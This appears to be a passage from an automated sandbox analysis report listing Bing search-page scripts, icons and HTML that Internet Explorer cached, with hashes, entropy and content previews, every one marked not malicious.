i?event?event.toElement:null:n.relatedTarget}function v(n,t,i){while(n&&n!=(i\|\|document.body)){if(n==t)return!0;n=n.p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\fEzca4bKO4pRulhVlOoat7eLgmU[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1274), with no line terminators
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	5.30620342636407
Encrypted:	false
SSDEEP:	24:+Fq4YTsQF61KWllWeM2lSoiLKiUfpIYdk+fzWPn8X0kdo6QBUf4JPwk:+FGF6UYXEBi9k5P8OPUY
MD5:	A969230A51DBA5AB5ADF5877BCC28CFA
SHA1:	7C4CDC6B86CA3B8A51BA585594EA1AB7B78B8265
SHA-256:	8E572950CBDA0558F7B9563CE4F5017E06BC9C262CF487E33927A948F8D78F7F
SHA-512:	F45B08818A54C5FD54712C28EB2AC3417EEA971C653049108E8809D078F6DD0560C873CEB09C8816ECD08112A007C13D850E2791F62C01D68518B3C3D0ACCCEB
Malicious:	false
Preview:	var Identity=Identity\|\|{};(function(n,t,i,r,u,f,e){e.wlProfile=function(){var r=sj_cook.get,u="WLS",t=r(u,"N"),i=r(u,"C");return i&&e.wlImgSm&&e.wlImgLg?{displayName:t?t.replace(/\+/g," "):"",name:n(t.replace(/\+/g," ")),img:e.wlImgSm.replace(/\{0\}/g,f(i)),imgL:e.wlImgLg.replace(/\{0\}/g,f(i)),idp:"WL"}:null};e.headerLoginMode=0;e.popupAuthenticate=function(n,i,r){var o,u,h,c,v=sb_gt(),l=Math.floor(v/1e3).toString(),s="ct",a=new RegExp("([?&])"+s+"=.*?(&\|$)","i");return n.toString()==="WindowsLiveId"&&(o=e.popupLoginUrls,u=o[n],u=u.match(a)?u.replace(a,"$1"+s+"="+l+"$2"):u+"?"+s+"="+l,e.popupLoginUrls.WindowsLiveId=u),(o=e.popupLoginUrls)&&(u=o[n]+(i?"&perms="+f(i):"")+(r?"&src="+f(r):""))&&(h=e.pop(u))&&(c=setInterval(function(){h.closed&&(t.fire("id:popup:close"),clearInterval(c))},100))};e.pop=function(n){return r.open(n,"idl","location=no,menubar=no,resizable=no,scrollbars=yes,status=no,titlebar=no,toolbar=no,width=1000,height=620")};var s=u("id_h"),o=u("id_l"),h="click";t.bind("o

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\lHJQIO-n0-6PrtK33_xaQQY2O14[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1039), with no line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.394520629964255
Encrypted:	false
SSDEEP:	24:AaV1T141S2BjoljiHXdX4daXOcRWOkDqBlg:AK41PjEjiHKKwOjXg
MD5:	16050BAAF39976A33AC9F854D5EFDB32
SHA1:	94725020EFA7D3EE8FAED2B7DFFC5A4106363B5E
SHA-256:	039E6B3DF1D67341FB8E4A3815F0D1BB3292A2040334CEB9CFC4A8D6ABF2FB55
SHA-512:	CF0D54F0368FFBC6908216FD2573DF8F5FE4C34AC08E17301B8734B3FABC674672A7F456707F632F82F44B36812DAD8A0CF81A51D5CEA21EA7F0E18500298375
Malicious:	false
Preview:	var UetTag;(function(n){function t(n,t,i,r,u){var e,o,h,s,v,f,c;i===void 0&&(i="script");r===void 0&&(r="//bat.bing.com/bat.js");u===void 0&&(u="uetq");var y=n.location.search.substring(1),l=y.split("&"),a="";for(e=0;e<l.length;e++)if(o=l[e].split("="),o.length>=2&&o[0]==="form"){a=o[1];break}for(h=["MSC001","MSC002","MSC003","MSC005","MSC006","MSC007","MSC008","MSC009","MSC010","MSC011","MSC012","MSC013","MSC014","MSC015","MSC016","MSC017","MSC018","MSC019","MSC020","SP0001","SP0002","MOG001","MOG002","MOG003","MOG004","MOG005","MOG006","MOG007","MOG008","MOG009","MOG010"],s=0;s<h.length;s++)if(h[s]===a){n[u]=n[u]\|\|[];v=function(){var t={ti:"355015334",q:null};t.q=n[u];n.UET&&(n[u]=new n.UET(t)\|\|[]);n[u].push("pageLoad")};f=t.createElement(i);f.src=r;f.async=1;f.onload=f.onreadystatechange=function(){var n=this.readyState;n&&n!=="loaded"&&n!=="complete"\|\|(v(),f.onload=f.onreadystatechange=null)};c=t.getElementsByTagName(i)[0];c.parentNode.insertBefore(f,c);break}}n.uetTaggingInit=t;t(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\ln5TQq6AIWfcBlduDk-5bnaJMpY[1].jpg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:58:04], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	4409
Entropy (8bit):	7.661436320849241
Encrypted:	false
SSDEEP:	96:sZbhwhNizUZvpj+cq69L5CiYXL6UIwLxl3LeD:sWzj+cq615Te+Se
MD5:	A98A08BDB99B8422C9DC9D6FDD9387C3
SHA1:	967E5342AE802167DC06576E0E4FB96E76893296
SHA-256:	5FAB9EE214738E71D6C01392EBC7B1EEC09EF8E19CA508EF28154E3E7A769ACF
SHA-512:	660020F40078ADA6A3E3DB7B55063D3E3603F82CFBB3ACF81FE2DF53F23064414C78DAF8657C6E556ADCC4D2034EC077F8C0B4A7720018E457DAFDEEF0323476
Malicious:	false
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:58:04....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.............................................................................................. (... ....@..........(.@..............(.................R. .......................f.....#x.....6.9.]...f............\|:......b...=....M}.}3/...H..{},k...x..`B.....z........y..9.yv.....9....>n...f...W......ug'.x..6:-3.a.iaHB.@.T.. .Q.@.)A.....At`..(..X!..0t).H...........s.uR6E.J.K9.@*.$.Es....&.........................!.. "A$10Bp.............o.wb.H2......p....H..m....ez.5.5....L.%.i....'..).s....$..q...E.....yxe-d<.VI...<s.~K....4.o.?.y.NY3r1..5...M9F..^Q...y..........>$.&r.g ..MK.qe....5.......~!.....\.&\|....!5...`9.)F.R;.fY.%.&.={..R.A.....>.y....E.Q._....<.\|_...J.....z&_

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\nt6a1ZR520utsLoZmSYgwxdOPgI[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (606), with no line terminators
Category:	dropped
Size (bytes):	606
Entropy (8bit):	5.268639530160161
Encrypted:	false
SSDEEP:	12:hc2AcBdEcv2Csu+IUhIlaq1YkOcAwI98NyeTgy8XTQHY2:hc2AcBSBZacr98XSDuY2
MD5:	0C2672DC05A52FBFB8E3BC70271619C2
SHA1:	9EDE9AD59479DB4BADB0BA19992620C3174E3E02
SHA-256:	54722CF65AB74A85441A039480691610DF079E6DD3316C452667EFE4A94FFD39
SHA-512:	DD2B3E4438A9DEAA6B306CBC0A50A035D9FE19C6180BC49D2A9D8CDBB2E25D9C6C8C5265C640AC362DC353169727F8C26503E11A8A061A2517A303F61D0CCD3C
Malicious:	false
Preview:	var sj_rra=function(n){var i="/rewardsapp/reportActivity",f=_w.location.search.substring(1),u=window.data_iid,r,t,e;i+=u&&u.length>0?"?IG="+_G.IG+"&IID="+u+"&"+f:"?"+f;r=window.rw_mqs_cg;r&&r.length>0&&(i+="&cg="+r,window.rw_mqs_cg=undefined);_w._H&&_w._H.mkt&&(i+="&src=hp");t=sj_gx();e="url="+escape(n)+"&V=web";t.open("POST",i,!0);t.setRequestHeader("Content-type","application/x-www-form-urlencoded");t.onreadystatechange=function(){t&&t.readyState==4&&t.status==200&&t.responseText&&_w.sj_appHTML&&(sj_appHTML(document.body,t.responseText),sj_evt&&sj_evt.fire("serpThemeUpdatedByRewards"))};t.send(e)}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\pNapkjHZUfN9lRvYNW2dF2ZL9Ec[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (838), with no line terminators
Category:	dropped
Size (bytes):	838
Entropy (8bit):	5.10179630103155
Encrypted:	false
SSDEEP:	24:01rReu5mXKBj/BsKkRW5LuRWCfRM7ssdvcR:09wwDEw56w2+s6cR
MD5:	8C8B189422C448709EA6BD43EE898AFB
SHA1:	A4D6A99231D951F37D951BD8356D9D17664BF447
SHA-256:	567506D6F20F55859E137FCBD98F9E1A678C0D51192FF186E16FD99D6D301CFF
SHA-512:	6FAA73D59082065426769A27081CBEDCD22146EF948AFDD9A86801F205B2DDDC63E03AC5D555EF0AF23EF05901EBFFE7E8AADD82260EF505CB89D99E572FDF4A
Malicious:	false
Preview:	var CursorProgress;(function(n){function f(n){while(n&&n.nodeName!=="A")n=n.parentElement;return n}function e(n){var u,e,o,s;n.button!==0\|\|n.ctrlKey\|\|n.shiftKey\|\|(u=f(sj_et(n)),u!=null)&&u.getAttribute("role")!=="button"&&(r(),e=(u.getAttribute("href")\|\|"").trim().toLowerCase(),e!==""&&e.indexOf("javascript:")!==0&&e.indexOf("#")!==0)&&(o=u.getAttribute("target"),o===null\|\|o.trim()==="")&&(Lib.CssClass.add(u,t),s=_ge("b_content"),s!==null&&Lib.CssClass.add(s,t),i!==null&&(sb_ct(i),i=null),i=sb_st(r,5e3))}function r(){for(var i=_d.getElementsByClassName(t),n=i.length-1;n>=0;n--)Lib.CssClass.remove(i[n],t)}function u(){var r=_ge("b_content"),n,t,i;if(r!==null&&(n=r.getElementsByTagName("A"),n))for(t=0;t<n.length;t++)(i=n[t],i)&&sj_be(i,"click",e)}var t="b_CursorProgress",i=null;n.bind=u;u()})(CursorProgress\|\|(CursorProgress={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\JHTNNVNL\sbi[1].htm

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines (33353)
Category:	dropped
Size (bytes):	50926
Entropy (8bit):	5.483006387631541
Encrypted:	false
SSDEEP:	768:okuL2ym/YIZE2u16tNz14nO2sya0CO7JUDWvjygz+YI2QFSOc+YIXFWCPP6bzATx:9wPCSjyK4FWCqbwONiqP7Ctj
MD5:	E7F50127462F21E1C7D2A917E9F20730
SHA1:	0AAE0DE6524FDD8198A3CAD6BCDD94DAC9D43204
SHA-256:	B7E6E9B6C2A9755613E209EB0C44D9194B4B99A22F5342547E3806195F4106C0
SHA-512:	89504970A42F870205B32A302742038E82E3F3F7B42F0FBDF5FB855716642A45E93B3EF3528FC02451E558E4BE5FC2EC0637CA45CA4A729427FBC0274EFE342C
Malicious:	false
Preview:	<style type="text/css">#sbiarea,#sbicom{display:none}.hassbi #sbiarea{display:inline-block}#sbiarea{margin:0 0 0 18px}.sbox #sb_form #sbiarea{margin:0}#sb_sbi{display:inline-block;cursor:pointer}img#sbi_b{vertical-align:-2px;height:18px;width:18px}#detailPage #detailheader img#sbi_b,.blue2#miniheader img#sbi_b,.sbox img#sbi_b{vertical-align:-3px}.blue2#miniheader img#sbi_b{vertical-align:-1px}#sbi_b.grayscaled{filter:grayscale(1) brightness(1.4);-webkit-filter:grayscale(1) brightness(1.4)}#sbi_b.grayscaled:hover{filter:grayscale(1) brightness(1);-webkit-filter:grayscale(1) brightness(1)}#sb_sbip[shdlg] #sbi_b{filter:grayscale(0);-webkit-filter:grayscale(0)}#sb_sbip .rms_iac{display:inline-block}#sb_sbip:not(.disableTooltip):hover::before,#sb_sbip.shtip:not(.disableTooltip)::before,#sb_sbip[vptest]::before{bottom:-27px;left:10px;z-index:6}#sb_sbip:not(.disableTooltip):hover::after,#sb_sbip.shtip:not(.disableTooltip)::after,#sb_sbip[vptest]::after{top:40px;left:10px;z-index:4}#hp_contain

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\4L4QdyjTv0HYE2Ig2ol9eYoqxg8[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1101
Entropy (8bit):	4.829151166001716
Encrypted:	false
SSDEEP:	24:t0S8eLfl954T0u2y3EO1gRcDrIvQaDxijjfscC:vLfRWtPDuQKIjq
MD5:	91CD11CFCCA65CFACE96153268D71F63
SHA1:	E0BE107728D3BF41D8136220DA897D798A2AC60F
SHA-256:	8EE1E6D7A487C38412D7B375AC4A6BD7E47F70858055EEB7957226ADA05544BE
SHA-512:	4367CE147C7FA4590838F23C47819B8954858128336979E28BA116924B92660A7CBDC9A8292C45C5F26FF591F423F03DFADCB78A772DBE86AC5FBABF0B4E7711
Malicious:	false
Preview:	<svg focusable="false" width="24px" height="24px" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <rect fill-opacity="0.2" fill="#000" x="0" y="0" width="24" height="24" rx="2"></rect>.. <g transform="translate(4, 4)">.. <path d="M13.2916881,1.29304814 L7.99395739,6.59077883 L2.69622669,1.29304814 C2.30349711,0.913737214 1.67923378,0.919161894 1.29315522,1.30524045 C0.907076669,1.691319 0.90165199,2.31558234 1.28096291,2.70831192 L6.57869361,8.00604261 L1.28096291,13.3037733 C0.90165199,13.6965029 0.907076669,14.3207662 1.29315522,14.7068448 C1.67923378,15.0929233 2.30349711,15.098348 2.69622669,14.7190371 L7.99395739,9.42130639 L13.2916881,14.7190371 C13.6844177,15.098348 14.308681,15.0929233 14.6947596,14.7068448 C15.0808381,14.3207662 15.0862628,13.6965029 14.7069519,13.3037733 L9.40922117,8.00604261 L14.7069519,2.70831192 C15.0976827,2.31746305 15.0976827,1.683897 14.7069519,1.29304814 C14.316103,0.902317288 13

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\927Cz2OI3S9hrbXauDAfIEUYRvo[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (1578), with no line terminators
Category:	dropped
Size (bytes):	1578
Entropy (8bit):	5.329734499973321
Encrypted:	false
SSDEEP:	24:2QDoc8McY0tjLr4H5uRlcHeO0M2AieYIriev+OmbTkC6+xbDntex3CcldxQp3j7O:NfZuRy0N1eYZ0waSbO3CBp/GiCHAhG
MD5:	0C0AD3FD8C0F48386B239455D60F772E
SHA1:	F76EC2CF6388DD2F61ADB5DAB8301F20451846FA
SHA-256:	DB6DDE4AEF63304DF67B89F427019D29632345D8B3B5FE1B55980F5D78D6E1E7
SHA-512:	E45A51EF2F0021F168A70AC49BDCC7F4FB7B91FF0DDD931F8ECBD70F6494C56285B2D9BC1170804801CE178244CCF361745B677B04C388B608D1471E0695EBEB
Malicious:	false
Preview:	(function(){function d(n,t){for(var r=[],i=0;i<t.length;i++)r.push({MonitorID:t[i].name,RequestID:t[i].guid,Result:Math.round(n[i])});return JSON.stringify(r)}function u(){function n(){return Math.floor((1+Math.random())65536).toString(16).substring(1)}return n()+n()+n()+n()+n()+n()+n()+n()}function h(){return window.performance&&window.performance.getEntriesByName?!0:!1}function c(n,t,i,r,u,f){function l(i){var w,b,p,k,y,g,nt;if(e!=null&&sb_ct(e),s[i]=c!=null?(new Date).getTime()-c:-1,i=(a+v)%n.length,o=new Image,a++<n.length)c=(new Date).getTime(),o.onload=function(){l(i)},w=function(){o.onload=null;o.onerror=null;c=null;l(i)},e=sb_st(function(){w()},t),o.onerror=function(){e!=null&&sb_ct(e);e=null;w()},o.src=n[i];else{if(r!=null&&r.length!==0){if(h())for(y=0;y<n.length;y++)b=n[y],p=window.performance.getEntriesByName(b),s[y]!=-1&&p&&p[0]&&(s[y]=p[0].duration);for(k=d(s,u),y=0;y<r.length;y++)g=r[y],nt=new Image,nt.src=g+k}f!=null&&f()}}var c,e,s=[],v=Math.floor(Math.random()n.lengt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\Elj9SKh02Ay2Nb5FT55AI6DffEk[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (918), with no line terminators
Category:	dropped
Size (bytes):	918
Entropy (8bit):	5.212381384143468
Encrypted:	false
SSDEEP:	24:i2387E/Xv3qtMbKRgibYe9BqoGbKR7oGbY7oGbnewCY0ZWFU0fZy5c6MwQOR:dqtMbK7bLrGbKuGbjGbnXTWWSr5c6MwV
MD5:	341FC0ACD15DF6D8A064E4C3A896F65D
SHA1:	1258FD48A874D80CB635BE454F9E4023A0DF7C49
SHA-256:	4BC6635D4D95F9C05A91904B19370A40CC6E4C2AB43661C00615EDDADEFCF9EB
SHA-512:	6B552D786E782C36F17BEE1A6AE204F1E8C9F85BE5EB9ADAC1793D60B537CAD13228CB2D4299949F051E6BC364C2E5A4105DE9BBF2885F492EDB425CB14CE982
Malicious:	false
Preview:	var KeyPressScroll;(function(){function i(i){var u=i.key,f=document.activeElement,r,e,o;document.querySelector("cib-serp[mode='conversation']")\|\|document.querySelector(".b_selected")\|\|typeof i.composedPath=="function"&&(r=i.composedPath(),r&&r[0]&&(r[0]instanceof HTMLInputElement\|\|r[0]instanceof HTMLTextAreaElement))\|\|i.ctrlKey\|\|i.shiftKey\|\|i.metaKey\|\|i.altKey\|\|!u\|\|u.length!==1\|\|u===" "\|\|f instanceof HTMLInputElement\|\|f instanceof HTMLTextAreaElement\|\|f instanceof HTMLElement&&f.isContentEditable\|\|(typeof sj_log=="function"&&sj_log("CI.KeyPressScroll","KeyBoard_Triggered",u),n.value="",t.scrollIntoView({behavior:"smooth"}),t.style.display="block",e=_ge("sb_form"),e&&Lib.CssClass.remove(e,"form_sb_hidden"),n.focus(),n.click(),o=n.value,n.setSelectionRange(o.length,o.length))}function r(){n&&t&&sj_be(document,"keydown",i,!0)}var n=_ge("sb_form_q"),t=_ge("b_header");r()})(KeyPressScroll\|\|(KeyPressScroll={}))

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\Fsa_OI0AplCnVoXGca8ALOo0S0s[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	282
Entropy (8bit):	4.768675821769942
Encrypted:	false
SSDEEP:	6:tbXH4mc4sl3UY7eERI1+N9H5R0MLERIwoVNdJMvdIXyCWfuBIAFfu:tbH41niB1+bj0MLBnpavdqyVGBIAFm
MD5:	E38795B634154EC1FF41C6BCDA54EE52
SHA1:	16C6BF388D00A650A75685C671AF002CEA344B4B
SHA-256:	66B589F920473F0FD69C45C8E3C93A95BB456B219CBA3D52873F2A3A1880F3F0
SHA-512:	DCA2E67C46CFF1B9BE39CE8B0D83C34173E6B77EC08FA4EB4BA18A4555144523C570D785549FED7A9909C2E2C3B48D705B6E332832CA4D5DE424B5F7C3CD59BE
Malicious:	false
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16">.. <path d="M0 0h16v16h-16z" fill="none"/>.. <path d="M8 1a7 7 0 1 0 7 7 7 7 0 0 0-7-7zm1 10a1 1 0 0 1-2 0v-3a1 1 0 0 1 2 0zm-.293-5.293a1 1 0 1 1 .293-.707 1 1 0 0 1-.293.707z" fill="#767676"/>..</svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\MWgq_OYohQuMsx-qjpxMXsnruVc[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	226
Entropy (8bit):	4.923112772413901
Encrypted:	false
SSDEEP:	6:2LGfGIEW65JcYCgfkF2/WHRMB58IIR/QxbM76Bhl:2RWIyYCwk4/EMB5ZccbM+B/
MD5:	A5363C37B617D36DFD6D25BFB89CA56B
SHA1:	31682AFCE628850B8CB31FAA8E9C4C5EC9EBB957
SHA-256:	8B4D85985E62C264C03C88B31E68DBABDCC9BD42F40032A43800902261FF373F
SHA-512:	E70F996B09E9FA94BA32F83B7AA348DC3A912146F21F9F7A7B5DEEA0F68CF81723AB4FEDF1BA12B46AA4591758339F752A4EBA11539BEB16E0E34AD7EC946763
Malicious:	false
Preview:	(function(n,t,i){if(t){var r=!1,f=function(){r\|\|(r=!0,typeof wlc!="undefined"&&wlc(sj_evt,sj_cook.set,wlc_t))},u=function(){setTimeout(f,t)};n.bind("onP1",function(){i?n.bind("aad:signedout",u):u()},1)}})(sj_evt,wlc_d,wlc_wfa)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\P2A3uGO2O64dixlm8-ndJ5_iyo4[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (2169), with no line terminators
Category:	dropped
Size (bytes):	2169
Entropy (8bit):	5.302641155413102
Encrypted:	false
SSDEEP:	48:1cLdSF8cWOr7dDv8NQtaPVcbnAhaNaswAUbDdDLpmhMi7WViUCS7SDDRb:1cZSDBdDv8saMPgHfLEM8Xb3Rb
MD5:	61533293909D97252C70E82BD574BA68
SHA1:	7408DD25C19AE7BAF954074576A2F73FBB174310
SHA-256:	99EC639C3DDC51E7882FAB9C08EC5A905B49F4B04D1C47B6DF40F3924E81CD8E
SHA-512:	BF8F8879D1CABD6B8B9C6CAF9FC0A6F68362FC62328112636D78A15A4C08B35EA52E1DD8048715F2BD0E945BB0D2D8D7655E68A065942E89316E303BB536BB41
Malicious:	false
Preview:	(function(){function l(n){return parseFloat((_w.getComputedStyle?_w.getComputedStyle(n):n.currentStyle).width)}var a="results_container",t="sb_shr sw_conv",v="sb_shr sw_conva",y={"ans2 ans_n2 ans_msnO":1},i={"sb_h3 cttl":1},r="sb_ltw",p="sb_ans",n=[],u=!!_G.SPSA,f=u?{ansC:1,results:1,sa_bop:1}:{results:1},e=!1,o=20,w=-28,b=function(){if(typeof _d.querySelector!="undefined"){var n=".sb_shr{left:"+w+o+"px;width:0;float:right;margin-left:5px}.sb_ltw{margin:0 0 0 -55px;clear:both;float:left;display:block;width:50px}.pi_tc{float:right;}";sj_ic(n);sj_evt.bind("sp.enter_conv",g,1);sj_evt.bind("sp.leave_conv",h,1);sj_evt.bind("sp.submit_conv",h)}},k=function(){var u,o,i,n,s,r,t,h;if(!e){for(u=_ge(a),o=u?u.childNodes:[],i=0;i<o.length;i++)if(n=o[i],n.id&&f[n.id]\|\|n.className&&f[n.className])for(s=n?n.childNodes:[],r=0;r<s.length;r++)for(t=s[r].firstChild;t;)h=t.nodeType,h!==3&&h!==8&&d(t),t=t.nextSibling;e=!0}},d=function(n){var i=n.className,t;if(i&&i.indexOf(p)>-1){if(u)for(t=n.firstChild.fir

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\UYtUYDcn1oZlFG-YfBPz59zejYI[1].svg

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	964
Entropy (8bit):	4.421237058266115
Encrypted:	false
SSDEEP:	24:t741nTY2jmYXhgauOwgXl3gHuWg9cZLzix9QiVCVCTikxQmQ6Nkpgeoo7:dQnkwXhnuOwIlwHuW7nC9QkaUzQm3Nk5
MD5:	88E3ED3DD7EEE133F73FFB9D36B04B6F
SHA1:	518B54603727D68665146F987C13F3E7DCDE8D82
SHA-256:	A39AB0A67C08D907EDDB18741460399232202C26648D676A22AD06E9C1D874CB
SHA-512:	90FF1284A7FEB9555DFC869644BD5DF8A022AE7873547292D8F6A31BA0808613B6A7F23CB416572ADB298EEE0998E0270B78F41C619D84AB379D0CA9D1D9DA6B
Malicious:	false
Preview:	<svg focusable="false" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" enable-background="new 0 0 16 16"><g fill="#00809D"><path d="M2.25 0h-1.25c-.263 0-.521.107-.707.293-.186.186-.293.444-.293.707v1.25c0 .552.448 1 1 1s1-.448 1-1v-.25h.25c.552 0 1-.448 1-1s-.448-1-1-1zM1 8.75c.552 0 1-.448 1-1v-1.5c0-.552-.448-1-1-1s-1 .448-1 1v1.5c0 .552.448 1 1 1zM2.25 12h-.25v-.25c0-.552-.448-1-1-1s-1 .448-1 1v1.25c0 .263.107.521.293.707s.444.293.707.293h1.25c.552 0 1-.448 1-1s-.448-1-1-1zM11.75 2h.25v.25c0 .552.448 1 1 1s1-.448 1-1v-1.25c0-.263-.107-.521-.293-.707-.186-.186-.444-.293-.707-.293h-1.25c-.552 0-1 .448-1 1s.448 1 1 1zM6.25 2h1.5c.552 0 1-.448 1-1s-.448-1-1-1h-1.5c-.552 0-1 .448-1 1s.448 1 1 1zM14.5 7h-.5v-.75c0-.552-.448-1-1-1s-1 .448-1 1v.75h-3.5c-.828 0-1.5.671-1.5 1.5v3.5h-.75c-.552 0-1 .448-1 1s.448 1 1 1h.75v.5c0 .828.672 1.5 1.5 1.5h6c.828 0 1.5-.672 1.5-1.5v-6c0-.829-.672-1.5-1.5-1.5z"/></g><path fill="none" d="M0 0h16v16h-16z"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\VMYMrXeSZyOXW5LQn-ede-_1jZk[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines (924), with no line terminators
Category:	dropped
Size (bytes):	924
Entropy (8bit):	5.195012633286773
Encrypted:	false
SSDEEP:	24:rVnoyfEzPHQFvG99rynERM93YGxSN+/sKE3p5vyNAM:rVnoyCkKgnCM9eBKE55vyj
MD5:	47442E8D5838BAAA640A856F98E40DC6
SHA1:	54C60CAD77926723975B92D09FE79D7BEFF58D99
SHA-256:	15ED1579BCCF1571A7D8B888226E9FE455ACA5628684419D1A18F7CDA68AF89E
SHA-512:	87C849283248BAF779FAAB7BDE1077A39274DA88BEA3A6F8E1513CB8DCD24A8C465BF431AEE9D655B4E4802E62564D020F0BB1271FB331074D2EC62FC8D08F63
Malicious:	false
Preview:	var __spreadArray=this&&this.__spreadArray\|\|function(n,t,i){if(i\|\|arguments.length===2)for(var r=0,f=t.length,u;r<f;r++)!u&&r in t\|\|(u\|\|(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return n.concat(u\|\|Array.prototype.slice.call(t))};(function(){function n(n){for(var r=[],i=1;i<arguments.length;i++)r[i-1]=arguments[i]}function u(n,t){for(var u=[],r=2;r<arguments.length;r++)u[r-2]=arguments[r];typeof Log!="undefined"&&Log&&Log.Log&&Log.Log.apply(Log,__spreadArray([i,n,t,!1],u,!1))}var t="acclink",i="acclink";if(sj_evt){sj_evt.bind("acclink:updated",function(t){if(t&&t.length>=2){var i=t[1],f=i.IsTenantAllowAccountLink,e=i.HasLinkedAccount;n("fire loadIdLinkIcon with acclink:updated ",t[1]);r(f,e);u("loadIdLinkIcon","load IdLinkIcon","params",t[1])}},1);function r(t,i){var r=_ge("id_linkicon");r&&(t&&i?(r.style.display="inline-block",n("show id link icon")):(r.style.display="none",n("hide id link icon")))}}})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\YcdZrN0lmnUgmIw9DVi7TFol2H4[1].js

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	219
Entropy (8bit):	5.119404786158862
Encrypted:	false
SSDEEP:	6:2LGXh6BodmYWyXPBsw+SFsjRntLsMIxwCDrlT:2QBdoySw+YEOM8nlT
MD5:	33C123623267DDCCC3506DE4E71C105B
SHA1:	61C759ACDD259A7520988C3D0D58BB4C5A25D87E
SHA-256:	DDA145AF1F9D026E6C080B2D21FE7CA1CD46F4FB58DC1CAE1474C119B1E1FF2C
SHA-512:	0D0B40C625997D91D216DF9489D8D048047FC5179C264EEB77B8B1D28E5E11DFD633BE4B3AF07AFD96F9E0F526E5DD1BA97232AA6DE1B05A94FC60682321D151
Malicious:	false
Preview:	(function(){var n=_d.querySelector("#b_header .b_scopebar>ul #b-scopeListItem-web");n===null\|\|n===void 0?void 0:n.addEventListener("click",function(t){n&&Lib.CssClass.contains(n,"b_active")&&(sj_pd(t),sj_sp(t))},!0)})()

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\IE\T3IU136J\authorize[1].htm

Download File

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines (1197), with no line terminators
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	5.2580359442728035
Encrypted:	false
SSDEEP:	24:k+NmKUauE2bovcLABeU572HQ3EA+spPctlC+s0+NaSrFgAcWZI1RuNCXI:n0GmLABeS71F+spPJ+s0+gSrqAcWGuD
MD5:	E4E163D0C8631A682CB5FA77C493DF40
SHA1:	531844F8DAAC97AA1AC1DE7CFB0490107E927DB4
SHA-256:	41941E1F6685D4D78F465053733E3B06091F60D048E7AE561641BCC642AFB4F6
SHA-512:	CE8941FDCA196508F4408A74B72F0A1FE1E623C3EDD3641827F11A7B71087EEC46ED2283B66F471C3B443DFF416303E1A587262CE94854889139E86B7BAE41AD
Malicious:	false
